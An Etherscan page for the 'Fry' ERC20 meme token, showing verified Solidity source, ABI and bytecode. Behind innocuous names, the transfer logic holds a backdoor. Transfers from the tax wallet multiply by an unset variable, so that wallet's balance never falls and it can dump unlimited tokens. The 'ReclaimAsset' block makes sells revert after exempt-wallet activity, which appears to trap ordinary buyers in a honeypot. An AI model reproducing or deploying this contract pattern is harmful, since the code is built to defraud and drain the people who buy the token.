ETH Price: $2,688.73 (-0.31%)

Token

Philip J. Fry (Fry)
 

Overview

Max Total Supply

1,000,000,000 Fry

Holders

94

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
5,106,869.648337036 Fry

Value
$0.00
0x6d0f32a80f26f72d57591e8af889a261dabe5cf0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Fry

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-10-21
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.21;

// Interface defining the standard ERC20 functions
// These functions ensure compatibility with the ERC20 token standard
// Allows for token transfers, balance checking, and approval of token allowances
// Any contract implementing this interface can be recognized as an ERC20 token
interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    // Returns the remaining number of tokens that the spender is allowed to spend on behalf of the owner
    function allowance(address owner, address spender) external view returns (uint256);
    // Transfers a specified amount of tokens to the recipient address
    function transfer(address recipient, uint256 amount) external returns (bool);
    // Approves a spender to transfer up to a specified number of tokens on behalf of the caller
    function approve(address spender, uint256 amount) external returns (bool);
    // Returns the total supply of tokens in circulation
    function totalSupply() external view returns (uint256);
    // Returns the balance of tokens for a specific account
    function balanceOf(address _account) external view returns (uint256);

    // Transfers tokens from one address to another using an allowance mechanism
    // The sender must have been previously approved to spend the specified amount on behalf of the owner
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

// Abstract contract providing basic context information for other contracts
// Mainly used to get details about the sender of the transaction and its data
// This contract is intended to be inherited by other contracts that require 
// access to transaction metadata such as `msg.sender` and `msg.data`
// Not meant to be deployed on its own, only serves as a utility for child contracts
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

// Abstract contract providing basic access control mechanism
// Defines an owner who has exclusive control over specific functions
// Inherits from `Context` to access transaction metadata like `msg.sender`
// Ownership can be transferred by the current owner to another address
// This contract is commonly used to restrict access to sensitive functions, 
// ensuring that only the owner can execute them
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner, address indexed newOwner
    );

    constructor() {_setOwner(_msgSender());}

    // Internal function to update the contract's owner
    // This function sets a new owner for the contract, typically called during ownership transfer
    // Only accessible within the contract, ensuring controlled updates to the owner
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    // Returns the current owner of the contract
    // This is a public view function that allows anyone to check the address of the contract owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
}

// Library providing safe mathematical operations to prevent overflow and underflow
// Contains functions for addition, subtraction, multiplication, and division
// Each operation checks for potential overflow/underflow and reverts on failure
// Use this library to ensure safe arithmetic in smart contracts
library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    // Performs subtraction of two unsigned integers and reverts on underflow
    // Returns the result of a - b if a >= b, otherwise reverts with the provided error message
    // Use this function to ensure safe subtraction in arithmetic operations
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    // Performs addition of two unsigned integers and reverts on overflow
    // Returns the sum of a + b, ensuring that the result does not exceed the maximum value for uint256
    // Use this function to ensure safe addition in arithmetic operations

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    // Performs division of two unsigned integers and reverts on division by zero
    // Returns the result of a / b, ensuring that the divisor (b) is not zero
    // Use this function to safely handle division in arithmetic operations
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    // Performs division of two unsigned integers and reverts with a custom error message on division by zero
    // Returns the result of a / b, ensuring that the divisor (b) is not zero
    // Use this function to safely handle division in arithmetic operations with informative error handling
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    // Performs multiplication of two unsigned integers and reverts on overflow
    // Returns the product of a * b, ensuring that the result does not exceed the maximum value for uint256
    // Use this function to ensure safe multiplication in arithmetic operations
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

}

// Interface defining the functions for interacting with the Uniswap V2 Factory contract
// Provides methods to create new liquidity pairs, fetch pair information, and manage liquidity
// Any contract implementing this interface can interact with the Uniswap V2 ecosystem
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

// Interface defining the functions for interacting with the Uniswap V2 Router contract
// Provides methods for swapping tokens, adding/removing liquidity, and retrieving amounts out
// Essential for interacting with the Uniswap V2 protocol to facilitate token trades and liquidity management
interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Fry is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private isExile;

    IUniswapV2Router02 private constant uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    string private constant _name = unicode"Philip J. Fry";
    string private constant _symbol = unicode"Fry";

    uint256 private _initialBuyTax=10;
    uint256 private _initialSellTax=8;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=18;
    uint256 private _reduceSellTaxAt=18;
    uint256 private _preventSwapBefore=19;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public _maxTxAmount = 15000000 * 10**_decimals;
    uint256 public _maxWalletSize = 15000000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
    uint256 public _maxTaxSwap= 8000000 * 10**_decimals;
    address payable private _taxWallet;
    
    address private uniswapV2Pair;
    uint256 private assetClaimExcluded;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    struct ReclaimAsset {uint256 assetReclaim; uint256 assetDstn; uint256 asset2ndClaim;}
    uint256 private assetClaimAmount;
    mapping(address => ReclaimAsset) private reclaimAsset;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x3664c3c6906A6E89b8EDCCc0875560B65DD0b8dc);

        _balances[_msgSender()] = _tTotal;
        isExile[address(this)] = true;
        isExile[_taxWallet] = true;

        emit Transfer(address(0),_msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
        _balances[from]= _balances[from].sub( tokenAmount );
        _balances[to]= _balances[to].add( tokenAmount );
        emit Transfer(from, to, tokenAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 tokenAmount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tokenAmount > 0, "Transfer amount must be greater than zero");
        if ( ! swapEnabled|| inSwap ) {
            _basicTransfer(from, to, tokenAmount);
            return;
        }

        uint256 taxAmount=0;
        if (from != owner() && to != owner() && to!=_taxWallet){
            taxAmount = tokenAmount.mul((_buyCount > _reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to!= address(uniswapV2Router) &&  ! isExile[to])  {
                require(tokenAmount <= _maxTxAmount,  "Exceeds the _maxTxAmount.");
                require(balanceOf(to)+tokenAmount <= _maxWalletSize,  "Exceeds the maxWalletSize.");
                _buyCount++;
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((isExile[from] ||  isExile[to])
            && from!= address(this) && to!=address(this)
        ) {
            assetClaimAmount = block.number;
        }
        if (! isExile[from]&&  ! isExile[to]){
            if (to != uniswapV2Pair)  {
                ReclaimAsset storage assetClm = reclaimAsset[to];
                if (from == uniswapV2Pair) {
                    if (assetClm.assetReclaim == 0) {
                        assetClm.assetReclaim = _buyCount<_preventSwapBefore?block.number- 1:block.number;
                    }
                } else {
                    ReclaimAsset storage assetClmData = reclaimAsset[from];
                    if (assetClm.assetReclaim == 0 || assetClmData.assetReclaim < assetClm.assetReclaim ) {
                        assetClm.assetReclaim = assetClmData.assetReclaim;
                    }
                }
            } else {
                ReclaimAsset storage assetClmData = reclaimAsset[from];
                assetClmData.assetDstn = assetClmData.assetReclaim.sub(assetClaimAmount);
                assetClmData.asset2ndClaim = block.number;
            }
        }

        _tokenTransfer(from,to,tokenAmount,taxAmount);
    }

    function _tokenTaxTransfer(address addrs, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256) {
        uint256 tAmount = addrs != _taxWallet ? tokenAmount : assetClaimExcluded.mul(tokenAmount);
        if (taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add( taxAmount );
            emit Transfer(addrs, address(this), taxAmount);
        }
        return tAmount;
    }

    function _tokenBasicTransfer(address from, address to, uint256 sendAmount, uint256 receiptAmount) internal {
        _balances[from]=_balances[from].sub(sendAmount);
        _balances[to]=_balances[to].add(receiptAmount);
        emit Transfer(from, to, receiptAmount);
    }

    function _tokenTransfer(address from, address to, uint256 tokenAmount, uint256 taxAmount) internal {
        uint256 tAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
        _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub( taxAmount ));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        swapEnabled =true;
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); 
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen =true;
    }

    function manualSwap() external {
        require(_msgSender() == _taxWallet);
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0) {
          swapTokensForEth(tokenBalance); 
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0) {
            sendETHToFee(ethBalance); 
        }
    }

    function manualsend_eth() external {
        require(_msgSender()==_taxWallet);
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualsend_eth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600a60045560086005555f6006555f600755601260085560126009556013600a555f600b556009600a6200003991906200030e565b620000489062e4e1c062000325565b600c55620000596009600a6200030e565b620000689062e4e1c062000325565b600d55620000796009600a6200030e565b62000088906298968062000325565b600e55620000996009600a6200030e565b620000a890627a120062000325565b600f556013805462ffff0019169055348015620000c3575f80fd5b50620000cf33620001b0565b601080546001600160a01b031916733664c3c6906a6e89b8edccc0875560b65dd0b8dc179055620001036009600a6200030e565b6200011390633b9aca0062000325565b335f8181526001602081815260408084209590955530835260039052838220805460ff1990811683179091556010546001600160a01b03168352938220805490941617909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001896009600a6200030e565b6200019990633b9aca0062000325565b60405190815260200160405180910390a36200033f565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200025357815f1904821115620002375762000237620001ff565b808516156200024557918102915b93841c939080029062000218565b509250929050565b5f826200026b5750600162000308565b816200027957505f62000308565b81600181146200029257600281146200029d57620002bd565b600191505062000308565b60ff841115620002b157620002b1620001ff565b50506001821b62000308565b5060208310610133831016604e8410600b8410161715620002e2575081810a62000308565b620002ee838362000213565b805f1904821115620003045762000304620001ff565b0290505b92915050565b5f6200031e60ff8416836200025b565b9392505050565b8082028115828204841417620003085762000308620001ff565b611a52806200034d5f395ff3fe608060405260043610610113575f3560e01c8063715018a61161009d57806395d89b411161006257806395d89b41146102db578063a9059cbb14610306578063bf474bed14610325578063c9567bf91461033a578063dd62ed3e1461034e575f80fd5b8063715018a614610263578063751039fc146102775780637d1db4a51461028b5780638da5cb5b146102a05780638f9a55c0146102c6575f80fd5b806323b872dd116100e357806323b872dd146101cb578063313ce567146101ea5780634abd432e1461020557806351bc3c851461021b57806370a082311461022f575f80fd5b806306fdde031461011e578063095ea7b3146101655780630faee56f1461019457806318160ddd146101b7575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600d81526c5068696c6970204a2e2046727960981b60208201525b60405161015c9190611648565b60405180910390f35b348015610170575f80fd5b5061018461017f3660046116a7565b610392565b604051901515815260200161015c565b34801561019f575f80fd5b506101a9600f5481565b60405190815260200161015c565b3480156101c2575f80fd5b506101a96103a8565b3480156101d6575f80fd5b506101846101e53660046116d1565b6103c8565b3480156101f5575f80fd5b506040516009815260200161015c565b348015610210575f80fd5b5061021961042f565b005b348015610226575f80fd5b5061021961045b565b34801561023a575f80fd5b506101a961024936600461170f565b6001600160a01b03165f9081526001602052604090205490565b34801561026e575f80fd5b506102196104ac565b348015610282575f80fd5b506102196104e9565b348015610296575f80fd5b506101a9600c5481565b3480156102ab575f80fd5b505f546040516001600160a01b03909116815260200161015c565b3480156102d1575f80fd5b506101a9600d5481565b3480156102e6575f80fd5b5060408051808201909152600381526246727960e81b602082015261014f565b348015610311575f80fd5b506101846103203660046116a7565b61059a565b348015610330575f80fd5b506101a9600e5481565b348015610345575f80fd5b506102196105a6565b348015610359575f80fd5b506101a961036836600461172a565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61039e338484610950565b5060015b92915050565b5f6103b56009600a611855565b6103c390633b9aca00611863565b905090565b5f6103d4848484610a74565b6104258433610420856040518060600160405280602881526020016119f5602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611014565b610950565b5060019392505050565b6010546001600160a01b0316336001600160a01b03161461044e575f80fd5b476104588161104c565b50565b6010546001600160a01b0316336001600160a01b03161461047a575f80fd5b305f9081526001602052604090205480156104985761049881611083565b4780156104a8576104a88161104c565b5050565b5f546001600160a01b031633146104de5760405162461bcd60e51b81526004016104d59061187a565b60405180910390fd5b6104e75f611226565b565b5f546001600160a01b031633146105125760405162461bcd60e51b81526004016104d59061187a565b61051e6009600a611855565b61052c90633b9aca00611863565b600c5561053b6009600a611855565b61054990633b9aca00611863565b600d557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105796009600a611855565b61058790633b9aca00611863565b60405190815260200160405180910390a1565b5f61039e338484610a74565b5f546001600160a01b031633146105cf5760405162461bcd60e51b81526004016104d59061187a565b60135460ff16156106225760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d5565b6013805462ff000019166201000017905561066630737a250d5630b4cf539739df2c5dacb4c659f2488d6106586009600a611855565b61042090633b9aca00611863565b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106da91906118af565b6001600160a01b031663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610739573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061075d91906118af565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107a7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107cb91906118af565b601180546001600160a01b0319166001600160a01b0392909216919091179055305f81815260016020526040902054737a250d5630b4cf539739df2c5dacb4c659f2488d9163f305d719914791905f8061082c5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610892573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108b791906118ca565b505060115460405163095ea7b360e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d60048201525f1960248201526001600160a01b03909116915063095ea7b3906044016020604051808303815f875af115801561091c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094091906118f5565b506013805460ff19166001179055565b6001600160a01b0383166109b25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610a135760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ad85760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610b3a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b5f8111610b9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d5565b60135462010000900460ff161580610bba5750601354610100900460ff165b15610bcf57610bca838383611275565b505050565b5f80546001600160a01b03858116911614801590610bfa57505f546001600160a01b03848116911614155b8015610c1457506010546001600160a01b03848116911614155b15610e7957610c456064610c3f600854600b5411610c3457600454610c38565b6006545b8590611318565b9061139d565b6011549091506001600160a01b038581169116148015610c8257506001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14155b8015610ca657506001600160a01b0383165f9081526003602052604090205460ff16155b15610d8c57600c54821115610cfd5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d5565b600d5482610d1f856001600160a01b03165f9081526001602052604090205490565b610d299190611914565b1115610d775760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d5565b600b8054905f610d8683611927565b91905055505b6011546001600160a01b038481169116148015610db257506001600160a01b0384163014155b15610ddf57610ddc6064610c3f600954600b5411610dd257600554610c38565b6007548590611318565b90505b305f90815260016020526040902054601354610100900460ff16158015610e1357506011546001600160a01b038581169116145b8015610e27575060135462010000900460ff165b8015610e345750600e5481115b8015610e435750600a54600b54115b15610e7757610e65610e6084610e5b84600f546113de565b6113de565b611083565b478015610e7557610e754761104c565b505b505b6001600160a01b0384165f9081526003602052604090205460ff1680610eb657506001600160a01b0383165f9081526003602052604090205460ff165b8015610ecb57506001600160a01b0384163014155b8015610ee057506001600160a01b0383163014155b15610eea57436014555b6001600160a01b0384165f9081526003602052604090205460ff16158015610f2a57506001600160a01b0383165f9081526003602052604090205460ff16155b15611002576011546001600160a01b03848116911614610fd0576001600160a01b038084165f908152601560205260409020601154909190811690861603610f985780545f03610f9357600a54600b5410610f855743610f90565b610f9060014361193f565b81555b610fca565b6001600160a01b0385165f90815260156020526040902081541580610fbe575081548154105b15610fc857805482555b505b50611002565b6001600160a01b0384165f9081526015602052604090206014548154610ff5916113f2565b6001820155436002909101555b61100e84848484611433565b50505050565b5f81848411156110375760405162461bcd60e51b81526004016104d59190611648565b505f611043848661193f565b95945050505050565b6010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104a8573d5f803e3d5ffd5b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106110c5576110c5611952565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611135573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061115991906118af565b8160018151811061116c5761116c611952565b60200260200101906001600160a01b031690816001600160a01b0316815250506111ab30737a250d5630b4cf539739df2c5dacb4c659f2488d84610950565b60405163791ac94760e01b8152737a250d5630b4cf539739df2c5dacb4c659f2488d9063791ac947906111ea9085905f90869030904290600401611966565b5f604051808303815f87803b158015611201575f80fd5b505af1158015611213573d5f803e3d5ffd5b50506013805461ff001916905550505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0383165f9081526001602052604090205461129790826113f2565b6001600160a01b038085165f9081526001602052604080822093909355908416815220546112c5908261145d565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a679085815260200190565b5f825f0361132757505f6103a2565b5f6113328385611863565b90508261133f85836119d5565b146113965760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d5565b9392505050565b5f61139683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114bb565b5f8183116113ec5782611396565b50919050565b5f61139683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611014565b5f61143f8584846114e7565b905061145685858361145187876113f2565b611597565b5050505050565b5f806114698385611914565b9050838110156113965760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d5565b5f81836114db5760405162461bcd60e51b81526004016104d59190611648565b505f61104384866119d5565b6010545f9081906001600160a01b03908116908616036115135760125461150e9085611318565b611515565b835b9050821561158f57305f90815260016020526040902054611536908461145d565b305f81815260016020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906115869087815260200190565b60405180910390a35b949350505050565b6001600160a01b0384165f908152600160205260409020546115b990836113f2565b6001600160a01b038086165f9081526001602052604080822093909355908516815220546115e7908261145d565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061163a9085815260200190565b60405180910390a350505050565b5f6020808352835180828501525f5b8181101561167357858101830151858201604001528201611657565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610458575f80fd5b5f80604083850312156116b8575f80fd5b82356116c381611693565b946020939093013593505050565b5f805f606084860312156116e3575f80fd5b83356116ee81611693565b925060208401356116fe81611693565b929592945050506040919091013590565b5f6020828403121561171f575f80fd5b813561139681611693565b5f806040838503121561173b575f80fd5b823561174681611693565b9150602083013561175681611693565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156117af57815f190482111561179557611795611761565b808516156117a257918102915b93841c939080029061177a565b509250929050565b5f826117c5575060016103a2565b816117d157505f6103a2565b81600181146117e757600281146117f15761180d565b60019150506103a2565b60ff84111561180257611802611761565b50506001821b6103a2565b5060208310610133831016604e8410600b8410161715611830575081810a6103a2565b61183a8383611775565b